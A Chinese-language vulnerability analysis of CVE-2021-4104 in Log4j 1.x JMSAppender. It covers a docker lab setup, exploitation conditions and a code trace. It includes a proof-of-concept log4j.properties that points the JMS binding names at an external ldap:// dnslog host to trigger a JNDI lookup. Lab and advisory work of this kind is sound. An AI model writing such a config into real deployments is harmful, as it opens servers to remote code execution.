Apache Log4j 1.x JMSAppender配置代码执行漏洞(CVE-2021-4104)
0x01 漏洞简介
在 1.x 版的 Java 日志库 Apache Log4j 中发现了一个缺陷。Log4j 1.x 中的 JMSAppender 容易受到不受信任数据的反序列化。如果部署的应用程序配置为使用 JMSAppender 和攻击者的 JNDI LDAP 端点,这允许远程攻击者在服务器上执行代码。发现存在 JNDI 远程命令执行漏洞,效果与 log4j2 漏洞类似,但利用条件相对苛刻。
0x02 影响版本
Apache Log4j =1.2.x
0x03 环境搭建
下载搭建环境:docker run -d -P vulfocus/log4j2-cve-2021-4104
0x04 漏洞分析
当攻击者具有对Log4j配置的写访问权限时,Log4j 1.2中的JMSAppender容易受到不受信任数据反序列化的攻击。攻击者可以提供TopicBindingName和TopicConnectionFactoryBindingName配置,导致JMSApender执行JNDI请求,从而以与CVE-2021-44228类似的方式执行远程代码。
-
要有 jms 的环境支持
-
需要能有写如 log4j.properties 文件内容的权限
漏洞利用条件分析
配置文件写权限:攻击者需通过其他漏洞达成
修改配置:攻击者需通过其他漏洞达成
触发方式:本地(其他漏洞) + 远程(JNDI)
配置方式:不是默认
特殊利用条件:需要外网交互
综合评价
利用难度:高
威胁等级:中等,能造成远程代码执行
//src/main/java/Test.java
import org.apache.log4j.Logger;
public class Test {
private static Logger logger = Logger.getLogger(Test.class);
public static void main(String[] args) {
logger.error("This is debug message.");
}
}
#src/main/resources/log4j.properties
log4j.rootLogger = error,jms
log4j.appender.jms=org.apache.log4j.net.JMSAppender
log4j.appender.jms.InitialContextFactoryName=org.apache.activemq.jndi.ActiveMQInitialContextFactory
log4j.appender.jms.ProviderURL=tcp://localhost:61616
log4j.appender.jms.TopicBindingName=ldap://pes4dp.dnslog.cn
log4j.appender.jms.TopicConnectionFactoryBindingName=ldap://pes4dp.dnslog.cn #
#pom.xml
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>javax.jms</groupId>
<artifactId>javax.jms-api</artifactId>
<version>2.0.1</version>
</dependency>
<dependency>
<groupId>org.apache.activemq</groupId>
<artifactId>activemq-all</artifactId>
<version>5.15.8</version>
</dependency>
</dependencies>
通过对漏洞的调试,发现在 JMSAppender 中调用了 lookup 方法,这是因为我们在 log4j.properties 中写入了 log4j.appender.jms=org.apache.log4j.net.JMSAppender,即去调用 JMSAppender.java 中的 activateOptions 方法。然后在 ctx.lookup (name) 中传入我们指定的恶 意 LDAP 服务地址,从而触发了远程代码执行漏洞。所以从中我们可以看出要必须支持 jms 代理的类才可以执行 rce,本例中就是 activemq 存在 jms 代理的类,所以才执行了该漏洞, 否则将不存在问题。也就是说该漏洞不会出现太大的影响,因为首先需要修改 log4j 的配置, 除非我们利用了其他一些漏洞进行写入,否则将很难利用该点进行 RCE。